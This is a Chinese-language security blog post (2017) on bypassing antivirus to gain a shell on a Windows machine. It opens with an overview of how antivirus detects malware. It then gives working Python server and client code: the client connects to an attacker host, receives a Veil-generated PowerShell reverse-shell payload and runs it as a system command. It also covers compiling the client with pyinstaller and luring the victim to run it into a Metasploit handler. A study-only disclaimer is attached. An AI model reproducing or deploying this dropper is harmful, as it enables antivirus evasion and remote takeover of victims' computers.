如何优雅的绕过杀软获取系统权限

安全工具 2017-12-11

本文内容带有一定的攻击性,仅供学习交流使用,严禁用于非法用途

作者:d4m1ts

杀毒软件判断病毒木马的方式如下:

特征库扫描法:检查文件中是否存在与常见病毒相同的代码。如果匹配,则说明存在病毒。由于该方法较慢,因此现在一般使用通配符扫描法进行代替。

云扫描法:将可疑文件上传到云服务器进行检查。需要网络连接。

虚拟机脱壳法:使用虚拟机引擎进行文件脱壳(仅支持部分壳类型)。脱壳后的文件将会进一步接受上两种扫描方式的检查。


虽然 github 上有许多大牛写的脚本可以生成免杀的 payload,但往往都好景不长,所以今天给大家分享一下我用的绕过杀软获取系统权限的思路

测试可过的杀软有:

  • 卡巴斯基
  • 360
  • 腾讯电脑管家

其他的也就没测试了,因为国内大多人也用的360和腾讯电脑管家

0×01 思路

文件本身不报毒,通过客户端和服务端的通信来达到目的。

服务端长期在线,客户端一旦连接服务端,服务端立即将 payload 发送给客户端,客户端再以系统命令执行,即可得到 shell

1.jpg

0×02 环境

Kali Linux 2017.1 (服务端和 msf 接收端 192.168.1.108)

Windows 10 (靶机 192.168.1.100)

python 2.7

需要用到的模块:

socket

os

0×03 开干吧

1.首先生成 powershell 的反弹 payload

这里我使用的是 veil-evasion

因为前几天把 kali 更新到 2017.3 过后,发现用不了了(求大佬解决)

所以又恢复快照使用的 2017.1 的版本

配置 payload

2.jpg

生成的 payload

3.jpg

2.编写服务端

一个简单的服务端的创立需要以下几个步骤

  • 创建套接字并绑定 IP 和端口
  • 设置监听数量
  • 开始监听
  • 发送数据

贴上我写的源码吧,很辣鸡,大佬轻喷

import socket

ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = '0.0.0.0'
port = 4444
ss.bind((host,port))
ss.listen(5)
while True:
    s,addr = ss.accept()
    s.send('这里面替换为你生成的payload')
    print '[+] one shell successful'

3.创建客户端

一个简单的客户端的创立需要以下几个步骤

  • 创建套接字
  • 连接服务端的IP和端口
  • 接收数据

贴上我的源码,很辣鸡,大佬轻喷

# -*- coding:utf-8 -*-
import socket
import os

c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = '192.168.1.108'
port = 4444
c.connect((host,port))
data = c.recv(4096) #注意这里要根据payload的长度设置接收字节的大小
os.popen(data)

4.将客户端编译成 exe 可执行文件

利用 pyinstaller

4.jpg

5.诱导靶机执行

  • 1.开启服务端
  • 2.使用 msf exploit/multi/handler 模块
  • 3.诱导靶机运行 exe 文件

5.jpg

6.jpg

09.png

10.png

0×04 写在最后

pyinstaller -F 生成的文件启动是不会自动提权,即不会触发 UAC,所以反弹的 shell 也没有管理员权限,希望有大佬帮忙解惑


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论